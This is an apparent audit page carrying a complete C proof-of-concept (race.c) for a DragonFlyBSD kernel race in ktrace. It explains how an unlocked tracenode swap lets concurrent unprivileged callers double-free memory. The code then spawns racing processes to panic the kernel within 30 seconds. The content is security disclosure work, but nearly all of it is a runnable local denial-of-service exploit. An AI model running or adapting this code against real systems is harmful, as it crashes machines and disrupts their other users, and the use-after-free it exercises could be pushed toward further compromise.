DragonFlyBSD Kernel Audit
DF-0103 / race.c
← back to finding ↓ download raw
/*
 * DF-0103 PoC — ktrace() mutates target p_tracenode without p_token; two
 * concurrent ktrace(KTROP_SET) on the same pid double-free the tracenode.
 *
 * sys_ktrace by-pid path (sys/kern/kern_ktrace.c:374-387) calls ktrops(td,p)
 * WITHOUT acquiring target p->p_token (only the caller's curp->p_token is
 * held, :305). ktrops KTROP_SET (:514-518):
 *
 *     oldnode = p->p_tracenode;            // snapshot, no lock
 *     p->p_tracenode = ktrinherit(tracenode);
 *     ktrdestroy(&oldnode);                // atomic refs--, free if 0 (:482)
 *
 * Two SEPARATE caller processes P1,P2 (each with its own curp->p_token, so
 * they do NOT serialize) both targeting the same pid T can both snapshot
 * oldnode=A, then each ktrdestroy(&A): the second sees A->kn_refs == 0 (or
 * reads freed/poisoned memory) -> KKASSERT(kn_refs>0) panic (:481) or slab
 * INVARIANTS double-free/UAF panic.
 *
 * ktrcanset() (:667) lets an unprivileged user trace its own (same-uid,
 * non-sugid) processes, so this is fully unprivileged.
 *
 * Build: cc -O2 -o race race.c
 * Run:   ./race    (watch for kernel panic; ssh session dies, guest in DDB)
 *
 * Expected (BUG present): kernel panic within the window (KKASSERT in
 *   ktrdestroy, or fatal trap on freed tracenode / slab INVARIANTS).
 * Expected (FIXED): process runs to completion, prints RACE_DONE.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <fcntl.h>

#ifndef SYS_ktrace
#define SYS_ktrace 45
#endif

#define KTROP_SET	0
#define KTROP_CLEAR	1
#define KTRFLAG_DESCEND	4
#define KTRFAC_SYSCALL	(1<<1)		/* KTR_SYSCALL == 1 */

static volatile sig_atomic_t stop = 0;

static void
ahandler(int s)
{
	stop = 1;
	(void)s;
}

/* Caller process: hammer ktrace(KTROP_SET, target). Own curp->p_token. */
static void
caller(const char *file, int target)
{
	while (!stop)
		syscall(SYS_ktrace, file, KTROP_SET, KTRFAC_SYSCALL, target);
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *tfile = argc > 1 ? argv[1] : "df0103.trace";
	pid_t target, c1, c2;
	int fd, cnt = 0;

	fd = open(tfile, O_CREAT | O_TRUNC | O_RDWR, 0600);
	if (fd >= 0)
		close(fd);

	signal(SIGALRM, ahandler);
	signal(SIGCHLD, SIG_IGN);

	/* target: a same-uid child we are allowed to trace; it just sleeps */
	target = fork();
	if (target == 0) {
		for (;;)
			pause();
		_exit(0);
	}

	fprintf(stderr, "[*] DF-0103: target pid=%d; 3 callers racing "
			"ktrace(KTROP_SET/CLEAR) for 30s...\n", (int)target);
	alarm(30);

	c1 = fork();
	if (c1 == 0)
		caller(tfile, target);
	c2 = fork();
	if (c2 == 0)
		caller(tfile, target);

	/* Parent is a third concurrent caller: alternate SET/CLEAR to also
	 * exercise the ktrdestroy(&p->p_tracenode) CLEAR path (:527). */
	while (!stop) {
		syscall(SYS_ktrace, tfile, KTROP_SET, KTRFAC_SYSCALL, target);
		syscall(SYS_ktrace, tfile, KTROP_CLEAR, KTRFAC_SYSCALL, target);
		if (++cnt % 256 == 0)
			usleep(1);
	}

	kill(c1, SIGTERM);
	kill(c2, SIGTERM);
	kill(target, SIGTERM);
	fprintf(stderr, "RACE_DONE: no panic in this 30s window "
			"(timing-dependent; retry if needed)\n");
	return 0;
}